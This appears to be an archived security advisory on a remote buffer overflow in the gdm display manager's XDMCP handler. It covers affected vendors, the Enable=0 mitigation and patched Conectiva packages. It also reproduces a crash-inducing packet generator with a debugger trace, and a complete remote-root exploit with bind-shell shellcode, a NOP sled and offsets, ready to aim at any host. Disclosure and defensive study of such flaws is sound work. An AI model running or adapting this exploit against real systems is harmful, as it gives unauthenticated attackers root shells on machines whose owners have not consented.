COMMAND
gdm
SYSTEMS AFFECTED
gdm
PROBLEM
Chris Evans found following. "gdm" is a replacement for "xdm",
the X display manager. gdm is a part of the GNOME desktop. A
buffer overflow exists in the XDMCP parsing code of gdm. If gdm
is configured to talk the XDMCP protocol on port 177 UDP, then
you are vulnerable. At the time of the overflow, gdm is running
as root. It is not neccessary to have a valid username/password
in order to reach the code flaw.
But there is good news. Luckily, most vendors and packagers using
gdm, ship with a default of XDMCP listening _disabled_. Some
examples of vendors/packages who are safe by default include:
- RedHat 6.0-6.2
- Helix GNOME
- The raw gdm source tarball
Listening on the network is controlled by (on my system)
/etc/X11/gdm/gdm.conf. Locate the [xdmcp] section. You are safe
if you have "Enable=0". Alternatively use "netstat -ao" to check
for something listening on port 177.
xdm is not vulnerable to this flaw. kdm (which comes with the KDE
desktop) is also free from this issue (the XDMCP code is nabbed
from xdm). In general, _whichever_ display manager you use to
offer XDMCP, please consider desisting. Remember that the display
manager is rendering a login box onto an untrusted remote machine.
This involves chatting the X protocol. This is not a small
protocol. What do you think the chances are that $(YOUR_VENDOR)
ships a completely bug free set of X libraries?
Aside from the buffer overflow, various people subsequently
pointed out potential DoS issues (null pointer deref's) and some
potential memory leaks.
Check out daemon/xdmcp.c, gdm_xdmcp_handle_forward_query()
...
// On stack
struct in_addr ia;
...
memmove (&ia.s_addr, clnt_addr.data, clnt_addr.length);
// Where clnt_addr.{data,length} are from the network
So it's a mildy disguised standard stack overflow. Demo "crashme"
packet builder and resultant gdm stack trace follow.
/*
* breakgdm.c - Chris Evans
*/
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
int
main(int argc, const char* argv[])
{
char deathbuf[1000];
unsigned short s;
unsigned char c;
memset(deathbuf, 'A', sizeof(deathbuf));
/* Write the Xdmcp header */
/* Version */
s = htons(1);
write(1, &s, 2);
/* Opcode: FORWARD_QUERY */
s = htons(4);
write(1, &s, 2);
/* Length */
s = htons(1 + 2 + 1000 + 2);
write(1, &s, 2);
/* Now we're into FORWARD_QUERY which consists of
* remote display, remote port, auth info. Remote display is binary
* IP address data....
*/
/* Remote display: 1000 A's which incidentally smoke a path
* right to the stack
*/
s = htons(sizeof(deathbuf));
write(1, &s, 2);
write(1, deathbuf, sizeof(deathbuf));
/* Display port.. empty data will do */
s = htons(0);
write(1, &s, 2);
/* Auth list.. empty data will do */
c = 0;
write(1, &c, 1);
}
Program received signal SIGSEGV, Segmentation fault.
getenv (name=0x40246a70 "") at ../sysdeps/generic/getenv.c:88
88 ../sysdeps/generic/getenv.c: No such file or directory.
(gdb) bt
#0 getenv (name=0x40246a70 "") at ../sysdeps/generic/getenv.c:88
#1 0x401e8f4a in tzset_internal (always=1094795585) at tzset.c:144
#2 0x401e9e2a in __tzset () at tzset.c:542
#3 0x401e676c in strftime (
s=0x80645c4 "May 20 06:24:04
gdm[1393]: gdm_xdmcp_handle_forward_query: ForwardQuery from 127.0.0.1",
maxsize=8188, format=0x40247acb "%h %e %T ",
tp=0xbffffa94) at strftime.c:476
#4 0x4020e681 in vsyslog (pri=3,
fmt=0x8060770 "gdm_xdmcp_handle_forward_query: Got FORWARD_QUERY from
display: 65.65.65.65, port 0", ap=0xbffffae8) at syslog.c:149
#5 0x4020e59f in syslog (pri=3,
fmt=0x8060770 "gdm_xdmcp_handle_forward_query: Got FORWARD_QUERY from
display: 65.65.65.65, port 0") at syslog.c:106
#6 0x804f9a4 in gdm_debug ()
#7 0x8050da2 in gdm_xdmcp_close ()
#8 0x41414141 in ?? ()
^^^^^^^^^^^^^^
Cannot access memory at address 0x41414141.
'AbraxaS' posted following:
/*
* gdm (xdmcp) exploit
* written 05/2000 by AbraxaS
*
* abraxas@sekure.de && www.sekure.de
*
*
* Tested on: SuSE 6.2 / gdm-2.0beta1-4,
* RedHat 6.2 / gdm-2.0beta2
*
* Offsets: Worked with offsets between 0 and 300
*
* Usage: gdmexpl [target] [offset]
*
* Note: Just a proof of concept.
*
* Greetings to: dies, grue, lamagra & (silly) peak
*/
#include <stdio.h>
#include <strings.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#define NOP 0x90
/* lammys bind shell code / binds a shell to port 3879 */
char code[]=
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
int resolve (char *denise)
{
struct hostent *info;
unsigned long ip;
if ((ip=inet_addr(denise))==-1)
{
if ((info=gethostbyname(denise))==0)
{
printf("Couldn't resolve [%s]\n", denise);
exit(0);
}
memcpy(&ip, (info->h_addr), 4);
}
return (ip);
}
int main (int argc, char **argv)
{
char uhm;
int nadine;
short blah[6];
char buffy[1400]; /* you might make this buffer bigger to increase the
probability to hit the right addy. making the
buffer too big could destroy the code though */
unsigned long addy;
struct sockaddr_in stephanie;
char big_buffy[sizeof(buffy)+12];
if (argc < 3)
{
printf("\nGDM 2.0betaX exploit by AbraxaS (abraxas@sekure.de)"
"\nUsage: %s [target] [offset]\n", argv[0]);
exit(0);
}
addy = 0xbffff8c0-atoi(argv[2]);
stephanie.sin_family = AF_INET;
stephanie.sin_port = htons (177);
stephanie.sin_addr.s_addr = resolve(argv[1]);
nadine = socket (AF_INET, SOCK_DGRAM, 0);
if (connect(nadine,(struct sockaddr *)&stephanie,sizeof(struct sockaddr))<0)
{
perror("Connect"); exit(0);
}
/* filling buffer.buffy with NOPs */
memset(buffy, NOP, sizeof(buffy));
/* cleaning buffer.big_buffy */
bzero(big_buffy, sizeof(big_buffy));
/*
* creating XDMCP header
*/
/* XDM_PROTOCOL_VERSION */
blah[0] = htons(1);
/* opcode "FORWARD_QUERY" */
blah[1] = htons(4);
/* length (checksum)*/
blah[2] = htons(5+sizeof(buffy)); /* see checksum algorithm */
/* length of display buffer */
blah[3] = htons(sizeof(buffy));
/* display port */
blah[4] = htons(0);
/* authlist */
blah[5] = htons(0);
*(short *)&big_buffy[0]=blah[0];
*(short *)&big_buffy[2]=blah[1];
*(short *)&big_buffy[4]=blah[2];
*(short *)&big_buffy[6]=blah[3];
*(short *)&big_buffy[sizeof(buffy)+8]=blah[4];
*(short *)&big_buffy[sizeof(buffy)+10]=blah[5];
/* writing shellcode */
memcpy(buffy+sizeof(buffy)-strlen(code), code, strlen(code));
/* fixing some stuff */
*(long *)&buffy[0] = 0x0100007f; /* source address, not neccessary */
*(long *)&buffy[4] = 0x00000000; /* cleaning clnt_authlist */
*(long *)&buffy[8] = 0x00000000;
/* writing own RET address */
*(long *)&buffy[32]=addy;
/* copying buffy into big_buffy */
memcpy(big_buffy+8, buffy, sizeof(buffy));
/* sending big_buffy */
write(nadine, big_buffy, sizeof(big_buffy));
printf("\nConnect to %s, port 3879 now.", argv[1]);
printf("\nBut behave :) --abraxas\n");
close(nadine);
}
Conectiva Linux 4.1, 4.2 and 5.0 is vulnerable.
SOLUTION
SuSE ship gdm with "Enable=0", so they are not vulnerable to this
kind of attack. Older SuSE releases, which ship with gdm 1.x,
have "Enable" set to 1 but seem not to be vulnerable by this bug.
TurboLinux 6.x are NOT vulnerable. They ship with Enable=0
Debian as well 'ships' gdm with Enable=0 as Linux-Mandrake too.
For Conectiva Linux if you need to use XDMCP, then you MUST
upgrade the gdm program to the latest release following the links
below. If XDMCP is disabled in /etc/X11/gdm/gdm.conf, then this
vulnerability cannot be exploited. Direct download links to
updated packages:
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.1/i386/gdm-2.0beta4-2cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.2/i386/gdm-2.0beta4-2cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.0/i386/gdm-2.0beta4-2cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.1/SRPMS/gdm-2.0beta4-2cl.src.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.2/SRPMS/gdm-2.0beta4-2cl.src.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.0/SRPMS/gdm-2.0beta4-2cl.src.rpm